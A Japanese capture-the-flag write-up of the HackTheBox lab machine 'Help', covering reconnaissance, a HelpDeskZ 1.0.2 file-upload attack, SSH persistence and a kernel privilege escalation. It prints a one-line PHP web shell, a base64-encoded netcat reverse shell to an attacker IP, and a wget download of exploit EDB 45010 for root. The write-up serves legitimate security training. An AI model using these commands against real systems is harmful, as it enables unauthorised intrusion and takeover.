Ch4n24n のアイコン

Ch4n24n

概要

  1. 開いている 80 で HelpDeskZ がホストされていることを確認
  2. チケット登録画面でのファイルアップロードの際に、「File is not allowed」とエラーが出ても、そのファイルはアップロードディレクトリに残ることを利用し、user シェルを取得
  3. SSH 鍵を置いてセッションを固定
  4. カーネルエクスプロイトの PoC である EDB 45010(CVE-2017-16995)を利用して、root を取得

対象環境

項目値
問題Help
難易度Easy
OSLinux
IP10.129.230.159
攻撃者IP10.10.14.248

攻撃フロー

1. 偵察

rustscan で全ポートを確認。開いているのは 22 / 80 / 3000。80 は http://help.htb/ へリダイレクト

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.230.159:22
Open 10.129.230.159:80
Open 10.129.230.159:3000
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework

help.htb を /etc/hosts に足す

Ch4n24n@htb[/htb]$ echo $TARGET help.htb | sudo tee -a /etc/hosts
10.129.230.159 help.htb

3000 の GET / は JSON を返す。 この経路ではラビットホール

Ch4n24n@htb[/htb]$ curl http://help.htb:3000
{"message":"Hi Shiv, To get access please find the credentials with given query"}

2. Web の列挙

80 を列挙すると support が出る

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/FUZZ" -c -ic -r -t 100 -e .html
support                 [Status: 200, Size: 4413]
index.html              [Status: 200, Size: 11321]

/support/ 配下は HelpDeskZ。 さらに列挙すると uploads が出る

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/support/FUZZ" -c -ic -r -t 100 -e .php
index.php               [Status: 200, Size: 4413]
captcha.php             [Status: 200, Size: 3608]
uploads                 [Status: 200, Size: 11321]

uploads の下に tickets がある

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/support/uploads/FUZZ" -c -ic -r -t 100 -e .php
articles                [Status: 200, Size: 11321]
tickets                 [Status: 200, Size: 11321]

searchsploit で HelpDeskZ 1.0.2 で任意のファイルアップロードが可能な脆弱性を発見(EDB 40300) -> HelpDeskZ 1.0.2 - Arbitrary File Upload

Ch4n24n@htb[/htb]$ searchsploit -m 40300
  Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload
      URL: https://www.exploit-db.com/exploits/40300
 
Ch4n24n@htb[/htb]$ python2 40300.py
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Usage 40300.py [baseUrl] [nameOfUploadedFile]

3. HelpDeskZ の任意ファイルアップロード

(1)チケットに PHP を添付

ワンライナーの Web シェルを作る

Ch4n24n@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php

http://help.htb/support/ のチケット作成画面で shell.php を添付して送る。

チケット登録画面では、アップロードファイル以外は適当な値で埋める

サブミットすると、画面は File is not allowed と出す

ただ、ファイルは先に uploads/tickets/ へ移されているので、問題ない
このことは、Google で 「helpdeskz アップロード可能なファイル php できない」 と検索すると、AIが教えてくれた

(2)保存先を特定

HelpDeskZ 1.0.2 - Arbitrary File Upload で PoCをダウンロードし、アップロードしたPHPファイルのアップロード先を特定する
PoCは、「アップロード先」 と 「アップロードファイル名」を指定する

Ch4n24n@htb[/htb]$ python2 40300.py http://help.htb/support/uploads/tickets/ shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/687514e4….php

これにより、Webシェルの配置が完了

この PoC は超不親切

PoC内に実行例が無いせいで、「アップロード先は自分で探す必要があること」、「アップロードファイル名は、拡張子を含んだ名前なのか?違うのか?(PoCを読むと拡張子は含まなそうに見えた)」が分からない

(3)リバースシェルを獲得

Web シェルに、リバースシェルを乗せるため、リバースシェルのコマンドを作成する

Ch4n24n@htb[/htb]$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.248 8200 >/tmp/f' | base64 -w0
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjI0OCA4MjAwID4vdG1wL2YK

作成したリバースシェルのコマンドを載せて、リクエストを送信する

http://help.htb/support/uploads/tickets/687514e4….php?cmd=echo%20%27cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjI0OCA4MjAwID4vdG1wL2YK%27%20|%20base64%20-d%20|%20bash

待ち受けると help のシェルが来る

Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.230.159 36126
 
$ whoami
help
 
$ python3 -c 'import pty; pty.spawn("/bin/sh")'

4. SSH で固定

ed25519 の鍵を作り、公開鍵を authorized_keys に置く

help@help:~$ mkdir .ssh
help@help:~$ echo 'ssh-ed25519 AAAA…' > .ssh/authorized_keys

以後は SSH で入る

Ch4n24n@htb[/htb]$ ssh -i id_rsa help@$TARGET
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)
help@help:~$

5. 権限昇格

(1)カーネルのバージョンを確認

カーネルは 4.4.0-116-generic(2018-02)

help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

(2)LinPEASを実行

カーネルエクスプロイトが大量にヒットしたので、1つ1つ実行していく
※ただし、この箱は 2019/1/19 にリリースされたので、それ以前に発見された脆弱性に限る

CVE-2017-16995 がうまくいったので、LinPEAS の出力にある https://www.exploit-db.com/exploits/45010 を使って LPE を実行する
まず、PoCをダウンロードし、ターゲットに輸送する

PoCのダウンロードし、輸送用のWebサーバを起動
Ch4n24n@htb[/htb]$ searchsploit -m 45010
  Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/45010
    Codes: CVE-2017-16995
 
Ch4n24n@htb[/htb]$ python -m http.server 8000 -d ./
ターゲットに輸送し、コンパイル+実行をする
# ファイルのダウンロード
help@help:~$ wget http://10.10.14.248:8000/45010.c
HTTP request sent, awaiting response... 200 OK
2026-11-11 08:38:28 (130 KB/s) - ‘45010.c’ saved [13176/13176]
 
# コンパイル
help@help:~$ gcc 45010.c -o cve-2017-16995
 
# PoCの実行
help@help:~$ ./cve-2017-16995
 
# whoami
root

参考

おわりに

  • HelpDeskZ の PoC 実行でつまずくかもしれませんが、やる内容としてはシンプルでした。 実際、私もこの PoC に振り回され、時間を浪費しました
  • それ以外については特に難しいところもなく、権限昇格も LinPEAS で検出された脆弱性を忍耐強く実行していけば、いずれ成功するものでした!
  • 難易度通りの内容でした😊
次に読む
© 2026 Ch4n24n